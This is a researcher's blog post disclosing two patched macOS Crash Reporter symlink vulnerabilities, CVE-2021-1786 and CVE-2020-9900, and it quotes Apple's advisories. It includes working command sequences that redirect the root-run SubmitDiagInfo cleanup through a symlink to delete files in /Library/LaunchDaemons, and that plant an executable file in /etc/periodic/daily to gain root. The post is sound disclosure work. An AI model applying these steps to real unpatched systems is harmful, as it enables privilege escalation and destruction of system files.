I plan to discuss two symlink attacks in this blog post. The first, more severe one, CVE-2020-9900 was reported by Zhongcheng Li (CK01) of Zero-dayits Team of Legendsec at Qi’anxin Group, and fixed in Catalina 10.15.6. Apple’s advisory said that with a symlink attack it was possible to elevate privileges. I never saw a public document about this bug, so I only assume that I will describe the actual issue here.
The second is CVE-2021-1786, which I reported to Apple back in July, 2020, and was fixed recently in Big Sur 11.2, Apple’s security advisory is available here. This is a classic symbolic link attack, which allowed us to delete arbitrary system files.
I will start with the second bug, as that is what led me to find the other one, which was fixed by then.
Crash Reporter Link to heading
Crash Reporter, collects various crash and other diagnostic logs in two locations, /Library/Logs/DiagnosticReports
and ~/Library/Logs/DiagnosticReports
. The second is used more for apps, which run as the user.
Interestingly, the default user id, which is in the admin
group, is also member of the _analyticsusers
group. This membership ultimately allows the user write and delete files in the /Library/Logs/DiagnosticReports
directory.
csaby@bigsur ~ % ls -l /Library/Logs | grep Diag
drwxrwx--- 11 root _analyticsusers 352 Apr 19 04:53 DiagnosticReports
The crash reporter process, is called SubmitDiagInfo
and it’s located at /System/Library/CoreServices/SubmitDiagInfo
. This process runs as root, as we can see in the process list.
csaby@bigsur ~ % ps -je | grep Submit
root 468 1 468 0 0 Ss ?? 0:00.03 /System/Library/CoreServices/SubmitDiagInfo server-init
The SubmitDiagInfo
process retires old reports on a weekly basis and moves them into the Retired
subfolder. The process also cleans up the Retired
subdirectory.
As we have write access to both /Library/Logs/DiagnosticReports
and ~/Library/Logs/DiagnosticReports
folders (either the global as an _analyticsusers
user or the one in the user’s home directory) , we can delete the existing Retired
folder, and create a symlink pointing to the location of our choice.
csaby@bigsur DiagnosticReports % pwd
/Users/csaby/Library/Logs/DiagnosticReports
csaby@bigsur DiagnosticReports % ln -s /Library/LaunchDaemons Retired
csaby@bigsur DiagnosticReports % ls -l
total 0
lrwxr-xr-x 1 csaby staff 22 Apr 19 05:03 Retired -> /Library/LaunchDaemons
In this case I point it to /Library/LaunchDaemons
, because why not. The vulnerability is that SubmitDiagInfo
will follow this symlink.
Let’s explore what we can do with that.
CVE-2021-1786 - Arbitrary file deletion Link to heading
It gives us some light arbitrary file deletion as root. We pointed our symlink to /Library/LaunchDaemons
. This means that whatever is stored there will be cleaned up (deleted) on a weekly basis.
csaby@bigsur DiagnosticReports % ls -l /Library/LaunchDaemons
total 8
-r--r--r-- 1 root wheel 1156 Aug 10 2020 com.vmware.launchd.tools.plist
SubmitDiagInfo
will only delete files older than one week. The file in my /Library/LaunchDaemons
folder will satisfy this requirement, as it’s a couple of months old.
This is where we wait, and wait, and wait….
Ok, a week passed. The impatience ones, like me can set their date to a week ahead to play along - of course you can’t do this if not root, so in real life it doesn’t count.
Once the process starts cleanup, we can see that it will delete all files found in that directory, depending on its timestamp.
csaby@bigsur DiagnosticReports % log show --style syslog --predicate 'processImagePath CONTAINS[c] "SubmitDiagInfo" && eventMessage CONTAINS[c] "Removing"' --last 2h
Filtering the log data using "processImagePath CONTAINS[c] "SubmitDiagInfo" AND composedMessage CONTAINS[c] "Removing""
Skipping info and debug messages, pass --info and/or --debug to include.
Timestamp (process)[PID]
2021-04-26 05:10:55.982396-0700 localhost SubmitDiagInfo[468]: (OSAnalytics) Removing old retired log '/Users/csaby/Library/Logs/DiagnosticReports/Retired/com.vmware.launchd.tools.plist'
Yay! The file is deleted.
Interestingly it detects the symlink, yet still follows it.
csaby@bigsur DiagnosticReports % log show --style syslog --predicate 'processImagePath CONTAINS[c] "SubmitDiagInfo" && eventMessage CONTAINS[c] "Symlink"' --last 2h
Filtering the log data using "processImagePath CONTAINS[c] "SubmitDiagInfo" AND composedMessage CONTAINS[c] "Symlink""
Skipping info and debug messages, pass --info and/or --debug to include.
Timestamp (process)[PID]
2021-04-26 05:10:55.981832-0700 localhost SubmitDiagInfo[468]: (OSAnalytics) subpath symlink detected '/Users/csaby/Library/Logs/DiagnosticReports/Retired' -> '/Library/LaunchDaemons'; no usable path
Ok, so here we deleted a file as root with our user account. If you are here for privilege escalation, read on. And what is this symlink detection anyway?
CVE-2020-9900 - File write to custom location Link to heading
This is where the first bugs comes into play, and the log entry about the symlink. If we go back to an earlier version of Catalina (e.g.: 10.15.4), we will find that similarly to file deletion, we can redirect file writes into custom location, when logs are retired from the DiagnosticReports
directory. The symlink message is also gone.
csaby@dev ~ % log show --style syslog --predicate 'processImagePath CONTAINS[c] "SubmitDiagInfo" && eventMessage CONTAINS[c] "Analytics"' --last 4h
Filtering the log data using "processImagePath CONTAINS[c] "SubmitDiagInfo" AND composedMessage CONTAINS[c] "Analytics""
Skipping info and debug messages, pass --info and/or --debug to include.
Timestamp (process)[PID]
2020-07-30 13:45:13.940456+0200 localhost SubmitDiagInfo[498]: (OSAnalytics) Retiring submitted '/Library/Logs/DiagnosticReports/Analytics-Journal-90Day-2020-07-30-122025.core_analytics'
Ok, but which files will be retired? Turns out not every file type, it will be extension specific. The CopyExtensionForProblemType
function in the CrashReporterSupport
framework, which is located at /System/Library/PrivateFrameworks/CrashReporterSupport.framework/Versions/A/CrashReporterSupport
- or instead in the dyld shared cache if you look on the Big Sur version ;) has a nice list of the supported extensions.
The list is not really interesting beyond the fact that it’s limited.
Ok, so at this point we can move a file with a specific extension to an arbitrary location. What does it give us?
CVE-2020-9900 - Local Privilege Escalation Link to heading
The question is if there is any service on the system, which will happily execute a file for us with any extension. There is one (at least), the periodic script tasks. It runs as root, and will execute every script found in one of the following directories.
csaby@dev Logs % ls -l /etc/periodic
total 0
drwxr-xr-x 2 root wheel 64 Apr 26 15:47 daily
drwxr-xr-x 5 root wheel 160 Aug 25 2019 monthly
drwxr-xr-x 3 root wheel 96 Apr 13 2020 weekly
As the name suggests they run daily, weekly and monthly. The ultimate zen way is choosing the monthly and then you get root in 1 week + 1 month time. Here I will go for daily, which is still slow, but not that much.
csaby@dev DiagnosticReports % ln -s /etc/periodic/daily Retired
csaby@dev DiagnosticReports % echo /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal > lpe.core_analytics
csaby@dev DiagnosticReports % chmod +x lpe.core_analytics
Here I recreate the symlink, and make a one liner bash script which will start Terminal.
Once the log retirement happen our file will be moved.
csaby@dev DiagnosticReports % sudo ls -l /etc/periodic/daily
...
-rwxr-xr-x@ 1 csaby _analyticsusers 23 Apr 18 11:35 lpe.core_analytics
csaby@dev DiagnosticReports % sudo periodic daily
As a side effect the other daily scripts are gone, because of the cleanup. If you are a nice attacker, you might want to backup and restore them.
As noted earlier we can use this vulnerability to move an arbitrary file with specific extensions to an arbitrary place. If we use this to copy a file with an executable permissions into /etc/local/periodic/daily
we can turn this into a privilege escalation. Since the periodic utility will execute every file in that folder regardless of name and extension, we can get our code executed.
We can simulate the periodic run with sudo periodic daily
so we don’t need to wait 24 hours. (I also set the date in calendar to trigger retirement of the files).
Conclusion, credits Link to heading
As noted I’m not 100% this is what CVE-2020-9900 was, but I have a strong guess. Maybe CX01 will correct me, and if so I will update this post. Also there might be a more efficient way exploiting it.
Apple’s advisory:
Available for: macOS Big Sur 11.0.1, macOS Catalina 10.15.7, and macOS Mojave 10.14.6
Crash Reporter
Impact: A local user may be able to create or modify system files
Description: A logic issue was addressed with improved state management.
CVE-2021-1786: Csaba Fitzl (@theevilbit) of Offensive Security
Available for: macOS Catalina 10.15.5
Crash Reporter
Impact: A local attacker may be able to elevate their privileges
Description: An issue existed within the path validation logic for symlinks. This issue was addressed with improved path sanitization.
CVE-2020-9900: Zhongcheng Li (CK01) of Zero-dayits Team of Legendsec at Qi'anxin Group